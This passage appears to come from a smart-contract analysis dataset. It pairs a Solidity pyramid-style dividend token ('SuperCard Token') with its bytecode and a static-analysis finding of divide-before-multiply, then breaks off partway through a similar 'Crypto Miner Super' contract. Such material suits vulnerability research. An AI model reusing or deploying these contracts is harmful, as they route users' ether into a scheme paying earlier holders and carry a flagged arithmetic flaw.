pragma solidity ^0.4.20; contract SuperCardToken { /*================================= = MODIFIERS = =================================*/ /// @dev Only people with tokens modifier onlyBagholders { require(myTokens() > 0); _; } /// @dev Only people with profits modifier onlyStronghands { require(myDividends(true) > 0); _; } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy, uint timestamp, uint256 price ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned, uint timestamp, uint256 price ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "SuperCard Token"; string public symbol = " GOD"; uint8 constant public decimals = 18; /// @dev 10% dividends for token purchase uint8 constant internal entryFee_ = 10; /// @dev 1% dividends for token transfer uint8 constant internal transferFee_ = 1; /// @dev 10% dividends for token selling uint8 constant internal exitFee_ = 10; /// @dev 15% masternode uint8 constant internal refferalFee_ = 15; uint256 constant internal tokenPriceInitial_ = 0.00000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.000000001 ether; uint256 constant internal magnitude = 2 ** 64; /// @dev 250 Medaillions needed for masternode activation uint256 public stakingRequirement = 250e18; /*================================= = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; uint256 internal tokenSupply_; uint256 internal profitPerShare_; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /// @dev Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) function buy(address _referredBy) public payable returns (uint256) { purchaseTokens(msg.value, _referredBy); } /** * @dev Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { purchaseTokens(msg.value, 0x0); } /// @dev Converts all of caller&#39;s dividends to tokens. function reinvest() onlyStronghands public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event onReinvestment(_customerAddress, _dividends, _tokens); } /// @dev Alias of sell() and withdraw(). function exit() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if (_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } /// @dev Withdraws all of the callers earnings. function withdraw() onlyStronghands public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event onWithdraw(_customerAddress, _dividends); } /// @dev Liquifies tokens to ethereum. function sell(uint256 _amountOfTokens) onlyBagholders public { // setup data address _customerAddress = msg.sender; // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire event onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice()); } /** * @dev Transfer tokens from the caller to a new holder. * Remember, there&#39;s a 1% fee here as well. */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) { // setup address _customerAddress = msg.sender; // make sure we have the requested tokens require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if (myDividends(true) > 0) { withdraw(); } // liquify 1% of the tokens that are transfered // these are dispersed to shareholders uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); // burn the fee tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); // disperse dividends among holders profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); // fire event Transfer(_customerAddress, _toAddress, _taxedTokens); // ERC20 return true; } /*===================================== = HELPERS AND CALCULATORS = =====================================*/ /** * @dev Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns (uint256) { return this.balance; } /// @dev Retrieve the total token supply. function totalSupply() public view returns (uint256) { return tokenSupply_; } /// @dev Retrieve the tokens owned by the caller. function myTokens() public view returns (uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * @dev Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns (uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } /// @dev Retrieve the token balance of any single address. function balanceOf(address _customerAddress) public view returns (uint256) { return tokenBalanceLedger_[_customerAddress]; } /// @dev Retrieve the dividend balance of any single address. function dividendsOf(address _customerAddress) public view returns (uint256) { return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /// @dev Return the sell price of 1 individual token. function sellPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /// @dev Return the buy price of 1 individual token. function buyPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } /// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders. function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders. function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ /// @dev Internal function to actually purchase the tokens. function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) { // data setup address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; // no point in continuing execution if OP is a poorfag russian hacker // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_); // is the user referred by a masternode? if ( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ) { // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can&#39;t give people infinite ethereum if (tokenSupply_ > 0) { // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / tokenSupply_); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); // Tells the contract that the buyer doesn&#39;t deserve dividends for the tokens before they owned them; // really i know you think you do but you don&#39;t int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; // fire event onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice()); return _amountOfTokens; } /** * @dev Calculate Token price based on an amount of incoming ethereum * It&#39;s an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial ** 2) + (2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18)) + ((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2)) + (2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) ) / (tokenPriceIncremental_) ) - (tokenSupply_); return _tokensReceived; } /** * @dev Calculate token sell value. * It&#39;s an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18)) ) - tokenPriceIncremental_ ) * (tokens_ - 1e18) ), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2 ) / 1e18); return _etherReceived; } /// @dev This is where all your gas goes. function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x606060405260043610610111576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806265318b1461011f57806306fdde031461016c57806310d0ffdd146101fa57806318160ddd14610231578063226093731461025a578063313ce567146102915780633ccfd60b146102c05780634b750334146102d557806356d399e8146102fe578063688abbf7146103275780636b2f46321461036057806370a08231146103895780638620410b146103d6578063949e8acd146103ff57806395d89b4114610428578063a9059cbb146104b6578063e4849b3214610510578063e9fad8ee14610533578063f088d54714610548578063fdb5a03e1461058a575b61011c34600061059f565b50005b341561012a57600080fd5b610156600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061098d565b6040518082815260200191505060405180910390f35b341561017757600080fd5b61017f610a2f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101bf5780820151818401526020810190506101a4565b50505050905090810190601f1680156101ec5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020557600080fd5b61021b6004808035906020019091905050610acd565b6040518082815260200191505060405180910390f35b341561023c57600080fd5b610244610b0f565b6040518082815260200191505060405180910390f35b341561026557600080fd5b61027b6004808035906020019091905050610b19565b6040518082815260200191505060405180910390f35b341561029c57600080fd5b6102a4610b6c565b604051808260ff1660ff16815260200191505060405180910390f35b34156102cb57600080fd5b6102d3610b71565b005b34156102e057600080fd5b6102e8610d0e565b6040518082815260200191505060405180910390f35b341561030957600080fd5b610311610d75565b6040518082815260200191505060405180910390f35b341561033257600080fd5b61034a60048080351515906020019091905050610d7b565b6040518082815260200191505060405180910390f35b341561036b57600080fd5b610373610de7565b6040518082815260200191505060405180910390f35b341561039457600080fd5b6103c0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e06565b6040518082815260200191505060405180910390f35b34156103e157600080fd5b6103e9610e4f565b6040518082815260200191505060405180910390f35b341561040a57600080fd5b610412610eb6565b6040518082815260200191505060405180910390f35b341561043357600080fd5b61043b610ecb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561047b578082015181840152602081019050610460565b50505050905090810190601f1680156104a85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104c157600080fd5b6104f6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f69565b604051808215151515815260200191505060405180910390f35b341561051b57600080fd5b610531600480803590602001909190505061128c565b005b341561053e57600080fd5b6105466114db565b005b610574600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611542565b6040518082815260200191505060405180910390f35b341561059557600080fd5b61059d611554565b005b60008060008060008060008060003397506105c86105c18c600a60ff166116c8565b6064611703565b96506105e26105db88600f60ff166116c8565b6064611703565b95506105ee878761171e565b94506105fa8b8861171e565b935061060584611737565b92506801000000000000000085029150600083118015610631575060065461062f846006546117c0565b115b151561063c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff16141580156106a557508773ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff1614155b80156106f25750600254600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b1561078857610740600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054876117c0565b600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506107a3565b61079285876117c0565b945068010000000000000000850291505b6000600654111561080e576107ba600654846117c0565b6006819055506006546801000000000000000086028115156107d857fe5b0460076000828254019250508190555060065468010000000000000000860281151561080057fe5b048302820382039150610816565b826006819055505b61085f600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846117c0565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081836007540203905080600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508973ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8032875b28d82ddbd303a9e4e5529d047a14ecb6290f80012a81b7e6227ff1ab8d8642610952610e4f565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a3829850505050505050505092915050565b600068010000000000000000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546007540203811515610a2757fe5b049050919050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ac55780601f10610a9a57610100808354040283529160200191610ac5565b820191906000526020600020905b815481529060010190602001808311610aa857829003601f168201915b505050505081565b600080600080610aeb610ae486600a60ff166116c8565b6064611703565b9250610af7858461171e565b9150610b0282611737565b9050809350505050919050565b6000600654905090565b6000806000806006548511151515610b3057600080fd5b610b39856117de565b9250610b53610b4c84600a60ff166116c8565b6064611703565b9150610b5f838361171e565b9050809350505050919050565b601281565b6000806000610b806001610d7b565b111515610b8c57600080fd5b339150610b996000610d7b565b9050680100000000000000008102600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054810190506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610cbc57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc826040518082815260200191505060405180910390a25050565b60008060008060006006541415610d3257633b9aca006402540be400039350610d6f565b610d43670de0b6b3a76400006117de565b9250610d5d610d5684600a60ff166116c8565b6064611703565b9150610d69838361171e565b90508093505b50505090565b60025481565b60008033905082610d9457610d8f8161098d565b610ddf565b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ddd8261098d565b015b915050919050565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060008060006006541415610e7357633b9aca006402540be400019350610eb0565b610e84670de0b6b3a76400006117de565b9250610e9e610e9784600a60ff166116c8565b6064611703565b9150610eaa83836117c0565b90508093505b50505090565b600080339050610ec581610e06565b91505090565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f615780601f10610f3657610100808354040283529160200191610f61565b820191906000526020600020905b815481529060010190602001808311610f4457829003601f168201915b505050505081565b600080600080600080610f7a610eb6565b111515610f8657600080fd5b339350600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548611151515610fd757600080fd5b6000610fe36001610d7b565b1115610ff257610ff1610b71565b5b61100a61100387600160ff166116c8565b6064611703565b9250611016868461171e565b9150611021836117de565b905061102f6006548461171e565b60068190555061107e600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548761171e565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061110a600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836117c0565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508560075402600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508160075402600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555061121360075460065468010000000000000000840281151561120d57fe5b046117c0565b6007819055508673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600194505050505092915050565b600080600080600080600061129f610eb6565b1115156112ab57600080fd5b339550600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205487111515156112fc57600080fd5b869450611308856117de565b935061132261131b85600a60ff166116c8565b6064611703565b925061132e848461171e565b915061133c6006548661171e565b60068190555061138b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548661171e565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550680100000000000000008202856007540201905080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550600060065411156114655761145e60075460065468010000000000000000860281151561145857fe5b046117c0565b6007819055505b8573ffffffffffffffffffffffffffffffffffffffff167f8d3a0130073dbd54ab6ac632c05946df540553d3b514c9f8165b4ab7f2b1805e8684426114a8610e4f565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a250505050505050565b600080339150600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115611536576115358161128c565b5b61153e610b71565b5050565b600061154e348361059f565b50919050565b6000806000806115646001610d7b565b11151561157057600080fd5b61157a6000610d7b565b9250339150680100000000000000008302600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054830192506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061166b83600061059f565b90508173ffffffffffffffffffffffffffffffffffffffff167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b60008060008414156116dd57600091506116fc565b82840290508284828115156116ee57fe5b041415156116f857fe5b8091505b5092915050565b600080828481151561171157fe5b0490508091505092915050565b600082821115151561172c57fe5b818303905092915050565b6000806000670de0b6b3a76400006402540be400029150600654633b9aca006117a96117a360065486633b9aca00600202020260026006540a6002633b9aca000a02670de0b6b3a76400008a02670de0b6b3a7640000633b9aca0002600202026002890a010101611886565b8561171e565b8115156117b257fe5b040390508092505050919050565b60008082840190508381101515156117d457fe5b8091505092915050565b600080600080670de0b6b3a764000085019250670de0b6b3a7640000600654019150670de0b6b3a764000061186f670de0b6b3a76400008503633b9aca00670de0b6b3a76400008681151561182f57fe5b04633b9aca00026402540be4000103026002670de0b6b3a7640000876002890a0381151561185957fe5b04633b9aca000281151561186957fe5b0461171e565b81151561187857fe5b049050809350505050919050565b60008060026001840181151561189857fe5b0490508291505b818110156118cb5780915060028182858115156118b857fe5b04018115156118c357fe5b04905061189f565b509190505600a165627a7a723058203bbcd60eb12b895cc8ffaa196e58a9d5a42c1969ff5cbce9f0a4f26c3f9dd7ca0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
517
0x241e492c003dfbe6d60d8bfd1960c0b8b7944ebd
pragma solidity ^0.4.25; /* * Crypto Miner Super concept * * [✓] 5% Withdraw fee * [✓] 15% Deposit fee * [✓] 1% Token transfer * [✓] 35% Referal link * */ contract CryptoMinerSuper { address public owner; modifier onlyBagholders { require(myTokens() > 0); _; } modifier onlyStronghands { require(myDividends(true) > 0); _; } event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy, uint timestamp, uint256 price ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned, uint timestamp, uint256 price ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event Transfer( address indexed from, address indexed to, uint256 tokens ); string public name = "Crypto Miner Super"; string public symbol = "CMS"; uint8 constant public decimals = 18; uint8 constant internal entryFee_ = 15; uint8 constant internal transferFee_ = 1; uint8 constant internal exitFee_ = 5; uint8 constant internal refferalFee_ = 35; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2 ** 64; uint256 public stakingRequirement = 50e18; mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; uint256 internal tokenSupply_; uint256 internal profitPerShare_; constructor() public { owner = msg.sender; } function buy(address _referredBy) public payable returns (uint256) { purchaseTokens(msg.value, _referredBy); } function() payable public { purchaseTokens(msg.value, 0x0); } function reinvest() onlyStronghands public { uint256 _dividends = myDividends(false); address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; uint256 _tokens = purchaseTokens(_dividends, 0x0); emit onReinvestment(_customerAddress, _dividends, _tokens); } function exit() public { address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if (_tokens > 0) sell(_tokens); withdraw(); } function withdraw() onlyStronghands public { address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; _customerAddress.transfer(_dividends); emit onWithdraw(_customerAddress, _dividends); } function sell(uint256 _amountOfTokens) onlyBagholders public { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; if (tokenSupply_ > 0) { profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice()); } function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); if (myDividends(true) > 0) { withdraw(); } uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); emit Transfer(_customerAddress, _toAddress, _taxedTokens); return true; } function totalEthereumBalance() public view returns (uint256) { return this.balance; } function totalSupply() public view returns (uint256) { return tokenSupply_; } function myTokens() public view returns (uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } function myDividends(bool _includeReferralBonus) public view returns (uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } function balanceOf(address _customerAddress) public view returns (uint256) { return tokenBalanceLedger_[_customerAddress]; } function dividendsOf(address _customerAddress) public view returns (uint256) { return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } function sellPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = 